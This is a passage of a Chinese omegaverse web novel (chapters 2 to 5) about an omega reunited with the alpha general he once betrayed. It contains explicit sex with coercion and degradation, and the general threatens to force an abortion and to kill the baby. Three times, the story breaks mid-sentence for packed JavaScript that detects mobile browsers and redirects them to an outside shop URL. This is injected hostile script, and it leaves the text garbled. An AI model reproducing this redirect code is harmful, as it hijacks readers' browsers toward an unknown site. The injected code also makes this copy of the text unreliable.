《黑月光回到了渣过的世界[快穿]2》 2. 第二章 谢烬出现在二楼看台上,周身仿佛凝着层来自深空的寒雾,自带生人勿近的凛冽。 光站在那儿就让人压力倍增。 他身形极为挺拔高挑,肩宽腰窄腿长,笔挺的黑色星际制服将每一寸线条都绷得利落冷硬,肩章上的星符与鎏金纹路交织,衬得他愈发矜贵威严。 瞳色是极浅的冰蓝,像冰封沉寂的星海,淡漠疏离,扫过来时带着穿透人心的冷意。 不慎对视上的亓宁差点晕厥,感觉要吓死了。 后背沁了冷汗,僵直片刻后,亓宁才反应过来自己戴了面纱,谢烬这会儿肯定认不出来。 尽管如此,亓宁还是心虚地低下了头,生怕真被谢烬认出来,一看这排场就知道现在的谢烬他惹不起,指不定整个大厅的人都会帮谢烬一起削他。 好想逃,但是这时候逃的话太引人注目了吧。 谁来救他! 谢烬的副官拿来两份文件,得到谢烬示意后便让众人肃静,接着打开宣读起来。 亓宁把脑袋压得低低的,因为过度紧张导致有些缺氧,思维迟缓,再加上很多听不懂的名词,根本不知道副官在看台上说了什么,只知道谢烬最后总结的声音跟冰棱子似的冷,混沌地听见周围人一开始小声议论抱怨,到中间义愤填膺地反驳,最后完全偃旗息鼓,开始认命地签订什么不对等协议。 整个过程亓宁都好像魂魄离体了似的。 “您的兄长真是好魄力,好手段,不过,强龙难压地头蛇,您最近还是小心一点比较好。” 直到有个年迈的alpha呛了亓宁一句,亓宁才反应过来,但他没空搭理对方,直接就是逃。 不知道谢烬的腿怎么好的,也不知道这段时间究竟发生了什么,总之先逃吧,随便找个地方避避风头,这会儿被谢烬逮住了肯定没他好果子吃。 宴会是在这片星际最豪华的酒店里举行的,酒店很大,里面还设有赌场,为了营造人间天堂的感觉,里头设计得弯弯绕绕,许多重复折叠螺旋。 宴会的宾客一般都会在酒店里过夜,亓宁急着走,又不知道路线,无头苍蝇似的转了会儿,还是没有走出酒店,反而不知道自己走到哪里去了。 长廊两侧的墙上绘着复古纹样,还挂着壁灯和很多欧洲中世纪的画像,很像是邪典片里的场景。 四处一片寂静,有些昏暗,亓宁突然听到几声不急不慢的脚步声,顿时毛骨悚然,后背升起阵阵阴寒,心率加速,连忙加快了步伐往外走。 “亓宁。” 冷冽低沉的嗓音,在身后响起,带着熟悉的磁性,却又多了几分疏离刺骨的寒意。 亓宁的身体猛地一颤,牙齿紧紧咬着下唇,不敢回头,也不敢应声,好像有鬼在索命,当即就想踢了鞋不管不管撒丫子狂奔,跑到十里开外才好。 但身体像被定住了似的,动弹不了分毫。 “回头。”简单的两个字,带着不容置疑的命令语气,冷得像冰。 亓宁指甲深深嵌进掌心,莫名地眼眶发红,已经有点想哭了,怕面对谢烬的质问,和报复。 他僵硬地回过头,刚好对上谢烬冰冷的目光。 就这么刺过来,没有半点感情,居高临下又从容冷静,仿佛看穿了他所有的伪装与心虚。 亓宁连忙避开他的视线,不知如何面对这个在谷底时被自己背叛的人,一张脸涨得通红,结结巴巴地装傻充愣:“您、您是不是、认、认错人了?” “你化成灰我都认识。“ 亓宁闻言怔住,瞬间感觉一阵天旋地转,回过神来已经被人拽进旁边的房间里,压在了门板上。 手腕被扣得死紧,空间被压缩到难以呼吸,谢烬手上的戒指硌得亓宁有些痛,即便没有说话,亓宁也能感觉到对方的憎意。 面纱被扯掉,谢烬掐着亓宁脸颊,冰冷修长的手指冷硬地陷进软肉里:“亓宁,你还知道回来。” 冰蓝瞳仁里一片扭曲。 被逼迫抬起头的亓宁摆脱不掉谢烬的控制,脸颊被捏得好酸,半晌只憋出句:“对不起……” 谢烬冷笑了声。 “钱花光了?” “嗯……” “穿成这样,来这里做什么。” 亓宁身段很好,裙子勾勒得他腰细臀翘,露出来的双腿白嫩修长,看着就适合盘腰上抗肩上。 但这明显不是亓宁一贯的穿衣风格。 “没钱了,就,就准备钓凯子养我。” “你怎么不死外面?” 亓宁闻言愣住,虽然早就做好了被人恨死的准备,可是听到谢烬这么冷酷的话,还是没忍住地哭了,眼泪断线珠子似的啪嗒砸到了谢烬手上。 他哭得很好看,两腮泛着潮红,小巧的鼻尖也沁出剔透的红色,好像受了天大的委屈似的。 谢烬瞳仁一颤,松开了手:“哭什么。” 第一次来他家时,亓宁就是这么看着他的。 一个——长期卖血导致营养不良、被毒虫父母卖去淫窟、差点去站街、因为他一句不需要就绝望地掉眼泪、被留下还哭得更厉害的孱弱omega。 但亓宁已经不是那个亓宁了。 “你凭什么哭。” 以前只要他一哭,要星星谢烬也给他摘来,而现在的他,哭起来谢烬估计只会觉得恶心吧。 亓宁胡乱擦了擦眼泪,不想惹人讨厌:“当年的事是我对不起你,我知道你恨我,对不起。” “恨你?” 谢烬冷哼:“你也配。” 那你倒是把怨念值降下来啊喂! 亓宁知道逃避不是办法,整理下情绪后抬头看着谢烬:“那到底要怎么做,你才可以原谅我呢?” 谢烬的声音没有温度:“我凭什么原谅你。” “那我做些什么,可以让你稍微好受一点,我想弥补我的过错,你可以对我提任何要求,只要在我能力范围之内,我一定坚持做到你满意为止。” 亓宁的眼睛水蒙蒙的,白皙脸颊上还有被掐出的红印子,就这么仰着小脸认真地看着谢烬。 说什么做到满意为止。 欠操。 想操,想□□亓宁,操到他哭不出来,变成傻子,只能待在他身边,依赖他,永远离不开他。 这是亓宁欠他的。 “那就做到我满意为止。” 话音刚落,亓宁就被人翻了个身,接着就被扯掉了蕾丝颈环,后颈腺体感知到一片冰冷触感。 被碰了腺体的亓宁双腿直打哆嗦。 “呀……你……别这样……” 谢烬不会想挖掉他的腺体让他变成废人吧。 颈环解开,亓宁身上馥郁的蜜桃信息素弥漫开来,诱人的清甜味,完全在挑衅alpha的自制力。 而亓宁的后颈上,雪白一片,原本被谢烬打下的永久性标记已经消失不见,就像从未有过一般。 洗掉标记是极痛苦的,而亓宁一向怕疼。 就那么想摆脱他。 凭什么亓宁这么果断地忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393069|200324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他。 凭什么走不出来的始终只有他自己。 谢烬突然有些恼,恼恨自己的下贱。 他的声音很哑:“你赢了。” “啊?” “看我狼狈,你很得意吧。” “没……” 亓宁懵,不知道谢烬这话什么意思,他赢啥了他,他又哪里得意了,狼狈的是他才对吧,他都快被吓死了。在脑子里把谢烬的话又过了一遍,亓宁心里突然生出了一个之前想都不敢想的想法。 谢烬别不是……还对他有感情吧。 亓宁心一颤,立马否定了这个刚萌芽的想法。 只是,封闭的空间,糟糕的姿势,近得能感知到彼此温度的距离,对于仇人而言有点太暧昧了。 换在以前,谢烬接下来该操他的腿了。 正要尝试脱离谢烬的禁锢,突然小腹一痛,亓宁没忍住倒吸一口凉气,蹙起了眉:“嘶,好痛。” “怎么了?” 谢烬又问了一遍:“哪里疼。” 亓宁捂着腹部,心想要是让谢烬知道他怀孕了那还得了,当即扯谎道:“那个,我这长肿瘤了。” 又补充:“绝症,晚期,治不好了。” 看到仇人过得这么惨,谢烬也该释怀了吧。 他可不想被谢烬弄死。 谁料话音刚落,亓宁就被谢烬一把横抱起。 制服的面料硌得亓宁眯了眯眼,脸贴着谢烬坚实的胸膛,能听到谢烬强有力的逐渐紊乱的心跳。 谢烬与亓宁的信息素契合度高达100%,亓宁曾这样被谢烬抱过无数次。他窝在谢烬怀里,被谢烬那熟悉的冷雪松信息素包裹着,难免有些失神。 直到被放进车后座里,亓宁才清醒过来。 “去哪儿?” 谢烬利落地把车开出去:“医院。” “啊?” 亓宁有些惭愧,谢烬也太善良了吧,他那样背刺过谢烬,谢烬还要把他送去医院治病。 他真的,亓宁哭死。 “不用了,我昨天才去过,真的,我……” 谢烬没有理会亓宁,只把车开得飞快。 去医院的话自己装病的事肯定会露馅啊,本来就犯了大错了,这下又撒谎真是罪加一等了。 亓宁冷汗涔涔,裹紧了身上谢烬的外套,肚子早就已经不疼了,但因为紧张,脸色惨白惨白的。 谢烬看了眼后视镜:“别怕。” “能治好。” 这是重逢以来,谢烬对亓宁说的第一句好话。 但是亓宁根本高兴不起来。 神呐,他快怕死了。 他甚至开始思考跳车有没有一线生机。 很快到了医院,消毒水味让亓宁不太舒服,看着谢烬忙前忙后带自己做检查,那紧张的模样更让亓宁愧疚害怕,进了vip病房后,竟直接晕过去了。 晕倒前,他好像听到谢烬叫他“宁宁”。 星际的科技相当发达,医院出结果很快,主治医生推了推眼镜,笑着把检查报告递给谢烬。 “放心吧,哪儿有什么肿瘤,您夫人的身体非常健康,只是怀孕了而已,胎儿已经5周啦,哈哈哈,恭喜你啊,上将大人,你快要当爸爸了。” “……” “诶?怎么了吗?” 医生看着一向冰冷从容的上将在听到自己的话后,表情从高度紧张到松弛缓和,再到现在,死一般的灰败,自觉说错话了,摸摸鼻子赶紧走开了。 3. 第三章 亓宁醒来时,已经是第二天早上。 一睁眼,就看到谢烬冷峻的脸。 “……”坏了。 VIP病房布局精美,明亮宽敞,堪比酒店的豪华套房,病床也又大又软。而谢烬坐在病床旁边的真皮单人椅上,长腿搭起,面无表情地看着亓宁。 眼底淡青,眼里血丝错乱,似乎没休息好。 他眉压得很低,眉骨很高,日光在眼眶处形成一片阴影,看向亓宁的蓝瞳是尖锐清晰的阴冷。 亓宁打了个寒颤,下意识往被子里缩了缩。 看谢烬的神情,应该已经知道自己怀孕了。 完蛋。 他知道谢烬不可能原谅他了。 谢烬是sss级alpha,生出来就高人一等,家境富裕,从小养尊处优,父母慈爱,还是个不可多得的天才,经典的完美主角配置。平时极度自律、克制,这种高自尊的人,是绝不会容忍被戴绿帽的。 但也正因为如此,谢烬是个体面人,不会像一般人一样用尽恶毒的手段来折磨报复,所以亓宁才敢说出,只要对方原谅他就什么都可以做这种话。 亓宁好想钻进被窝里装傻,可是迟早要面对这一切的,索性从床上坐起来,打破沉默:“早……” omega还穿着昨天那条粉裙,吊带因为睡觉下滑了些,挂在白嫩手臂上,微卷长发散开,是普通人费尽心机也烫不出来的自然甜美,脸很小,清纯又漂亮,眼睛占比却很大,像感知不到别人的情绪一般,眨巴黑水晶般的眼睛,懵懵地盯着人看。 这么可爱,谢烬现在只想一把掐死。 见谢烬不说话,亓宁尴尬地找话题:“你的腿看起来好像完全好了,这些年里,发生什么了?” 谢烬像是没听见:“怎么怀上的。” 拷问一般。 亓宁抿唇,不敢直视谢烬,也不敢再撒谎,老实按照系统给的设定说:“离开你之后,我,我又找了一个,然后,然后他长得挺好看的,也挺有钱的,对我也挺好的,我刚好发情期,就跟他……” “够了,我不想听。” 谢烬不礼貌地打断,语调没抬高,也没凶,可那股压着的不爽,清清楚楚裹在声音里。 “跟了个短命鬼你很得意吗?” 他没兴趣知道那些细节。 亓宁是自愿的。 知道这点就够了。 亓宁昏迷的时间,足够谢烬把亓宁消失的这几年调查清楚。由于系统的设定,这几年里即使谢烬不断扩展领土,让全星际人强制实名,也找不到亓宁的任何踪迹,现在却能轻易查到被捏造的过去。 亓宁觉得谢烬怪怪的,自己非要问他,又说不想听:“我没有得意,是你先问我,我才说的。” “我没让你答那么详细。” “哦哦,那我简略点再答一遍?” “亓宁!” 谢烬声调拔高,冷静了一整晚的情绪,轻易又被亓宁带起,有时候谢烬真想把亓宁操服了。 操到神志不清,说不出半个气他的字为止。 意识到亓宁对自己依然存在生理性吸引的谢烬有些烦,垂眸压抑着情绪,冷声道:“把胎打了。” 亓宁不知道谢烬为什么要让他打胎,难道是觉得孩子对他很重要,所以报复让他尝尝丧子之痛? 肚子里的是只是一串代码,孩子爹都是随机生成的,赛博鬼胎罢了,打了亓宁也不会有任何心理负担,但是总部还没发话呢,暂时别打比较好吧。 因此亓宁立马拒绝了:“不行,孩子不能打。” 他回答得果断利落,仿佛孩子很重要似的,全然没注意到谢烬那越发冰冷难看的面色。 生产对身体有害无利,更何况亓宁怕疼,所以谢烬从没想过要孩子,避孕措施做得很到位。 但现在,亓宁为了另一个男人,不仅忍受了洗掉标记的痛苦,还怀了他的遗腹子不愿意打掉。 而那个男人只是个普通得不能再普通的商人。 他竟然输给那样一个不三不四不入流的货色。 亓宁宁愿没名没分地跟着那个废物,不顾生育后遗症生下一个野种,也不愿意回到他身边来。 整整七年。 即便他不再是残疾,而是享誉星际的上将。 他想不通。 凭什么。 引产对身体的伤害远小于生产,他绝不会让亓宁生下这块恶心的、见证着真心被践踏的烂肉。 谢烬的语气逼迫感十足:“你没资格拒绝。” “这是你欠我的。” “不是说什么都能做到吗?” “就这点诚意?” 亓宁那会儿哪知道谢烬会提这个要求,有些理亏地避开谢烬凌厉的视线:“除了这个都行。” 软声问:“可不可以换一个?” “你少跟我讨价还价。” 亓宁只好又换了种说法,“我知道你恨我,想报复我,能不能等我把孩子生下来再报复我?” 生下来三字又刺激到了谢烬脆弱的神经。 “好啊,你生下来。” “嗯?真的?“ “生出来再看着我把这个野种摔成一滩肉泥。” 谢烬这话说得亓宁毛骨悚然:“别这样。” “怕就乖乖把引产手术做了。” 就在这时,有人敲了敲门。 “病人现在方便吗?” 谢烬:“方便。” 接着,医生和两个护士前后走了进来。 亓宁顿时有些惊慌,这些人该不会是来给他做堕胎手术的吧,谢烬这效率也太高了吧,话刚说完这就安排上了吗:“你要干什么?我说了不打的。” “孩子是无辜的,不要这样。” “我不同意打胎,你们这样是违法的。” 亓宁着急的模样让谢烬心里越发冷如寒窟。 “你同我说违法不觉得荒谬吗?你背叛我的时候怎么不觉得违法?它无辜,而我就活该是吗?” “它命好,我命贱。” 亓宁当然觉得谢烬很无辜,也很可怜,但是没有任何一个人可以耽误他做完任务跑路。 即便他知道谢烬已经很痛苦了,也不能做出任何让步:“这是我的孩子,你凭什么做决定。” “凭什么?”谢烬冷笑,声音却难掩酸楚,“凭你是我的妻子,并且直到现在,我们都没有离婚。” 亓宁这才注意到,谢烬手上还戴着那枚婚戒。 脑子里顿时倒带一般涌出许多记忆。 谢烬不会……一直在等他吧。 “……” 除了对不起,亓宁不知道该说什么。 但对不起,其实也没有任何用。 所以他什么也没说。 他穿梭于各个世界,来的轰轰烈烈,却总是走的无声无息,不留下任何痕迹,如果在每个世界倾注感情,这对他来说是一种难以承受的痛苦。所以亓宁会把心收起来,把每个世界的男主当成npc。 可是,践踏别人的真心时,他也会流泪。 病房里是一片死一般的寂静,只有风吹动窗外树叶的沙沙声,两人之间的情绪却潮水般汹涌。 这时,站了好一会儿的主治医生才有些尴尬地开口对亓宁说:“您误会了,我们是正规医院,是不会违背病人意愿进行手术的,上将大人对您并没有恶意的,我们只是过来检测上将身体状况的。” 他们也没想到能吃到这么劲爆的现场瓜,上将权势滔天,是个战争狂魔,媒体上根本不允许刊登他的私事。他们只模糊地知道,上将有个钟情的妻子,结婚十四年依旧恩爱如初,原来全都是假的。 不过病床上那位长得实在太美了,可以理解。 误会了的亓宁比医生还尴尬:“抱歉……” 医生笑着说了声没事,接着走向谢烬,请示过后从谢烬的掌心取出了一块芯片,又切下来一小块皮肤组织,放进微型机器里检测了一番后,神情变得凝重起来:“您又忘记吃药了吧,这可不行,外星组织体生长得很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393070|200324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻则变异,严重了可是会有生命危险的,它现在已经有些扩散迹象了。” 一旁的护士很快递上了药。 看着谢烬将药吃掉,护士和医生才走出去。 亓宁看着谢烬手上瞬间愈合的伤口,有些惊诧:“为什么吃药?你生病了吗?很严重吗?为什么医生说会变异还会死人?可以告诉我吗?” “关你什么事。” “我只是担心你。” 谢烬死了的话他还怎么做任务。 “担心我?我瘫痪的时候怎么不见你担心我?” 谢烬话语讥讽:“哦对,那时候你正陪着那个短命鬼呢,他一个得了绝症的废物beta,有我操得你爽吗?能满足你这个欲求不满的骚货吗?” “恐怕你连孕期都撑不过,就得找人□□。” 谢烬说的话很脏,亓宁听了却生气不起来,反而脸颊红红的,下意识夹了夹腿,有些痒。 omega很爱发情,亓宁也不是那种道德水平很高的人,某种程度上来说,谢烬说的一点没错。 这种话被谢烬冷冰冰地说出来别有一番情趣。 亓宁有点唾弃自己这个世界的体质,赶紧掐了下自己的大腿,回到正事上来:“对不起,我以为他们是你安排来打掉孩子的,所以我才那样……” “没差别,我依旧会安排人给你引产。” “早晚的事。” “别想着逃。” 亓宁这会儿的注意力已经不在吵架上了,手攥着床单,白皙指尖都泛红了,声音糯糯的:“嗯……” alpha的嗅觉很灵敏,加上谢烬对亓宁的身体一直了如指掌,很快就看出了亓宁的异样。 谢烬紧绷的唇角罕见地勾起:“你发情了。” “因为我。” 肯定句。 “才没有!” 亓宁有些害臊,急着否认,可潮红的面颊、浓郁的蜜桃信息素、濡.湿的床单俨然出卖了他。 谢烬起了身,下一秒,高大的阴影就投射下来,亓宁就被困在了谢烬和床靠背之间。 被子里探入了谢烬的左手。 好冰。 亓宁呜.咽一声,抖如筛糠。 “犟什么,你的身体还记得我。” 看着亓宁绯红的脸颊和半张着的粉唇,谢烬掐着亓宁的下巴,低头就亲了下去。 亓宁登时大乱,下意识躲开了。 不对吧,他们貌似是仇人吧。 谢烬强硬地掰过亓宁的下巴,有些恼:“你躲什么?嫌弃我?怎么,要为那个短命鬼守节?” 亓宁下巴被捏痛了,湿漉漉的眼盯着谢烬,也有些气:“那你亲什么?难道,你还爱着我?” 谢烬顿住。 “闭嘴。” 意识到自己失态的他有些僵硬。 “自作多情。” 他松开了对亓宁的钳制,神色又冷下来。 “爱你?我巴不得你死。” “把你当婊子而已。” “怎么,需要我付费吗?” 被人这么羞辱亓宁眼睛红了,忍不住又掉了眼泪,更让他难过的是,为什么被骂了还更有感觉。 他把被子蒙在脑袋上,啜泣着不理人了。 谢烬欲言又止。 哭吧,他不就想让亓宁痛苦吗。 可为什么他一点也不畅快。 他走到窗边,点了根烟,又烦躁地按灭。 手上的婚戒是亓宁当年选的,是树枝和藤蔓的花纹,亓宁说,树是藤蔓一生的依靠,藤蔓是树绕身的温柔,它们岁岁相依,从生到死纠缠不清。 “骗子。” 对亓宁的恨支撑着他熬过那段没有尊严更没有希望的日子,他活着就是为了报复亓宁。 刚刚却有些迷惘了。 凉风吹在脸上,让人清醒了很多。 谢烬把戒指丢进了垃圾桶。 他不会心软的。 他只会让亓宁痛上百倍千倍万倍。 4. 第四章 听到谢烬关门出去的声音,过了一会儿亓宁才从被子里出来,眼睛已经哭得红红的了。 垃圾桶里躺着谢烬那枚婚戒,亓宁的那枚早在当初跑路的时候就卖掉了。 婚戒是亓宁挑的,谢烬这枚偏素,亓宁那枚华丽些,镶有一颗天价绿宝石。送来的戒指设计图都挺好看的,亓宁选择困难就挑了宝石最大颗的。后来设计师没多久就因病去世了,这对婚戒作为这位大师最后的作品涨了不少身价,还被媒体报道过。 谢烬连戒指都扔了,看来两人之间是真的没有任何情分可言了,必须得尽快想办法逃走才行。 亓宁简单洗漱一下,就想打开门跑路,却看到门口站着两个保镖,礼貌地伸手挡住了他。 “抱歉,您不能出去。” “……” 被限制自由的亓宁认命地坐回床上,想到以后都要被谢烬凶巴巴地羞辱欺负,就觉得好命苦。 可是…… 那里还残存着谢烬抚弄后的感觉,想到谢烬指节分明、冷感修长、还带着薄茧的手,亓宁又开始泛滥了,不能怪他,omega的体质就是这样的。 喜欢被人爱抚,只有被标记了才能缓解。 如果那会儿他不躲开那个吻的话,谢烬就不会把手拿开,是不是就可以被谢烬这样那样…… 亓宁从幻想中回过神来时脸颊已经红透了,他难为情地捧了捧自己的脸颊,哇,好烫好烫。 连忙喝水降温,又拿了纸巾把刚流的水擦干。 垃圾桶里空荡荡的,只有那枚戒指和刚扔的几个纸巾团,亓宁纠结了一下要不要捡起来,反正谢烬不要了,这么值钱的东西,不捡白不捡,以后要是有机会能逃出去,还可以卖了应急什么的。 就在这时,亓宁听到门外传来声音,接着门就被轻巧敲响了:“医生巡诊,可以进来吗?” “请进。” 进来的是个男医生,身材高挑,手里拿着记录册子。穿着朴素的白大褂,戴着医用口罩,也能看出他很年轻,皮肤白净,眉眼舒展,气质很青春。 看体型像alpha,但是气质像beta,看起来没什么压迫感,给人一种很舒服好相处的感觉。 不过怎么只来了一个人,没有护士跟同吗? 医生笑了下:“你好啊,身体有没有不适?” 亓宁的疑虑因为他有些轻快的语气和温和好听的声音打消了大半:“我还好,没什么不舒服的。” 昨天就难受了一小下,过后就不难受了,至于晕倒,是害怕谎言被戳穿,太紧张了导致的。 “眼睛怎么那么红,刚刚哭过了?” 亓宁点了点头,看着医生关怀的神情,想到自己悲催的命运,遥远的退休生活,他更想哭了。 医生在亓宁床边坐下:“可以说说原因吗?” 亓宁不说话了,医生知道后肯定会帮谢烬骂他的,他始终不是这个世界的人,他们不会懂他。 隔离感和孤独感涌上心头,情绪冷却下亓宁渐渐觉查出不对劲:“医生还要负责我的心理问题吗” “你的体质很特别,三十二岁的年龄,却是十八岁的身体特征,感觉很有研究价值。” “所以,想重点了解一下你。” 亓宁的身体是不会老去的,会一直维持在十八岁,医生这句“有研究价值”让亓宁有些警惕,不会是发现了什么要抓他去做研究吧:“什么意思?” 察觉到亓宁产生了排斥心理的医生释放了一些信息素,以安抚亓宁紧张的神经:“没什么意思,就是突然觉得,你很漂亮,近距离看更漂亮。” 科技发展,人造美人越来越多,但并不自然很容易能分辨出来。面前这位显然是纯天然的,不仅长得漂亮、皮肤白嫩,气质还十分温软纯净,让人产生一种不忍染指又想糟蹋恶堕的剧烈矛盾感。 此外,岁月竟没在他身上留下任何痕迹,连血液、骨骼都是年轻人的状态,这连科技都做不到。 太完美了。 “啊,是吗,谢谢。”突然被夸的亓宁有些不好意思,但还是觉得对方说话怪怪的,正要礼貌地请对方出去,却闻到一股薄荷味信息素的味道。 alpha可以控制信息素的量,微量的信息素能调节omega的心情,令其安心镇定,但是再多一点就会催情,越强的alpha控制信息素的能力越强。 显然面前的alpha控制信息素的能力还不够成熟,有些过量,偏偏亓宁体质特殊,对信息素十分敏感,因此身体很快有了些反应,变得难耐起来。 他咬了咬唇:“不要再释放信息素了。” 医生只是好奇什么样的人能让把谢烬整得那么惨还能裙角微脏全身而退而已,可不敢真的惹谢烬的人,听到亓宁的要求后就马上把信息素收回了。 无奈亓宁体质太特殊,对信息素存在延迟滞留反应,因此情况没有得到任何缓解,脸越来越红。 医生还以为亓宁生病了,便把手覆在了亓宁额头上:“你的脸很红,额头还很烫,发烧了吗。” 确实是发烧了,但不是医生以为的那个发烧。 医生手凉凉的,很舒服,亓宁燥得很难受,花了一秒接受了这个白给的降温工具,双手抓住医生的手腕,用脸颊使劲蹭了蹭医生洁白的掌心。 他小脸还没人巴掌大,蹭得左眼都微微眯起。 医生愣了下。 妈耶,好软,小猫猫。 降温半天还是没缓解的亓宁抬起头,眼睛湿漉漉亮晶晶的,全然不顾医生内心正在进行的激烈的思想斗争:“好难受,你能帮我做个临时标记吗?” 谢烬提着早餐回来时,看到的就是这一幕。 眨眼的功夫,医生就被谢烬拎起来重重往鼻梁上砸了一拳,头破血流地倒在了地上。 医生疼得眼冒金星,扯掉了沾血的口罩,看清来人后正要出口的咒骂顿时卡在了喉咙里。 取而代之的是:“舅舅?” 可惜没能唤醒谢烬的亲情,他就被谢烬一脚踢晕拎起来丢到了门外,听声音摔得不轻。alpha之间亦有差距,谢烬整个过程行云流水一气呵成,全发生在片刻之间,快到亓宁根本没反应过来。 谢烬看向他他才想起该害怕。 此时房间里只剩下他们二人。 谢烬脸上看不出半点情绪,可那股沉默的戾气压得亓宁发颤,比嘶吼和咆哮更让人恐惧。 桌上放着谢烬买的早餐,虾饺、豆浆、糖拌番茄、生煎包,还有一碗排骨山药粥,热气腾腾,全是亓宁爱吃的。亓宁贪心,以前就总是想喜欢的东西都吃一口,谢烬也惯着,负责解决他的剩饭。 刚刚才给谢烬戴了绿帽的亓宁不免心头泛酸。 然而还没来得及愧疚,就听见谢烬冰冷的、刺耳的、没有感情的声音:“你就这么骚。” “我前脚刚走,你就找人标记你。” “无差别发情的婊子。” 亓宁刚生出的那点愧疚荡然无存,说到底这分明算是谢烬的错,如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393071|200324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢烬不害他发情的话他也不需要找人解决,回怼道:“婊子不就是这样的吗?” 谢烬骂他是婊子,那他干脆就婊给他看好了。 “我就是骚,你咬我呀。” 亓宁以为自己现在的样子很mean很拽,殊不知他长得太纯了,看着不像挑衅,像挑逗和邀请。 果然话音刚落,亓宁就被人压在了身下,谢烬的手落在了亓宁空虚许久的地方,瞬间泛滥成灾。 亓宁刚积攒的硬气顿时没了,眼睫毛颤个不停,眼尾湿红一片:“唔,你干嘛,唔,别……” “还能干嘛,治治你这婊子的骚病。” “唔!讨厌!不需要你!” 亓宁话是这么说,但身体早就屈服了。 彻底掌控亓宁身体的谢烬的火气消了些:“不需要我,你的身体可不是这么说的。” 亓宁无言反驳,沉浸其中。过了好一会儿才想起自己还怀着孕呢,连忙护住了自己的肚子,尽管谢烬是撑着的根本没压着他:“不行,这样会压到我的孩子的,你快起来,不要这样,会流产的!” 看到亓宁这么护着野种的样子谢烬就来气,抬手扇了他那儿好几巴掌,直扇得水花飞溅。 亓宁呜咽着阿阿直叫,却没做任何反抗。 做了七年的夫妻,谢烬早把亓宁了解透了,亓宁就喜欢这一套,一玩就像开了水阀一样。 看得谢烬很渴,毕竟已经七年没喝过水了。 见亓宁的手还护着胎儿,谢烬强硬将亓宁的手扣起压在亓宁耳边:“流了就流了,这野种的死鬼爹在天上看着,你还在我身下发大水,他知道你这么骚吗?你有什么资格把这野种生下来,还是想把他生下来看我们做,看我们有多契合啊,骚货。” “呜呜呜……” 谢烬将亓宁翻过去,抚过亓宁的后颈。 在亓宁沉沦时狠狠一口咬住了后颈的腺体。 疼痛感让亓宁瞬间漫出了眼泪,浓郁的冷雪松味信息素疯狂注入腺体,让亓宁几乎昏厥。 在窒息一般的融合中,结成了临时标记。 “我看你还怎么对别人发情。” 被标记了的亓宁趴在床上流泪猫猫头,可怜兮兮的样子也没能换来一些缓冲时间。 就在这时,亓宁的肚子咕噜咕噜叫了起来。 亓宁大惊:“我不会流产了吧!” “……你饿了。” “哦……” 谢烬起身净手,把虾饺打开放在亓宁面前。 “吃饱了继续。” 怎么还要做!亓宁不想继续了,他好累,虽然某种程度上来说有点享受但是他好累:“我不吃。” “那别吃。” 再次被压在身下的亓宁气坏了:“你干什么?” “不吃就做。” 亓宁急得叫出声:“我吃!” 说完乖乖吃起了晶莹剔透的虾饺,结果刚咬了一口虾饺,就被谢烬扣着脚踝架了起来。 亓宁低头看着谢烬:“我、我不是在吃吗?” “我耽误你吃了?” 亓宁是吃上了,他还什么都没吃。 “你这样我怎么吃啊……混蛋……” 早餐在亓宁的呜咽和啜泣中结束,此时亓宁已经跟一只被人咬破的虾饺差不多了,浑身粉粉的印子,热腾腾、亮晶晶的白里透粉,秀色可餐。 剩下的那碗山药排骨粥被亓宁气得丢进了垃圾桶,倒出的粥粒将戒指彻底淹没,再看不见影子。 5. 第五章 被欺负过度的亓宁补了觉,下午才醒来。 系统提示怨念值-1,已经99了。亓宁百思不得其解[为什么降低了?我好像没做什么弥补的事。] [你早上给他吃b了。他应该挺受用的,所以降低怨念值了,要不晚上你再给他吃一次试试。] 系统用冷淡的养胃机械音说这种话,让亓宁有些风中凌乱,羞耻极了[我才不要!你不许说了!] [抱歉,别生气,我不说了。] 裙子吊带被扯坏了,谢烬差人送过来一套新衣服,偏日常风,设计简洁,但面料柔软舒适。 那个医生也醒了,他叫齐墨,是谢烬表姐的孩子。他是这家医院的医生,也是一名医学教授。 谢烬妈妈为了跟他爸爸在一起,拒绝了家族安排的联姻,在跟家里人彻底断了联系后,远嫁到这片星系,因此亓宁从不知道谢烬有这么个表外甥。 原本亓宁体检结果一切正常,可以直接进行引产手术,齐墨突然对谢烬说亓宁的血液检测结果有些问题,要先研究一下,建议暂时别贸然进行引产手,并且强调行房事要小心一点,不可以太粗暴。 身为当事人的亓宁听着只想找个洞钻进去。 谢烬没多说什么,因为孕早期不需要住院,所以下午给亓宁办理了出院手术,直接回家休息。 路上,暂时保住了孩子的亓宁心情还不错。 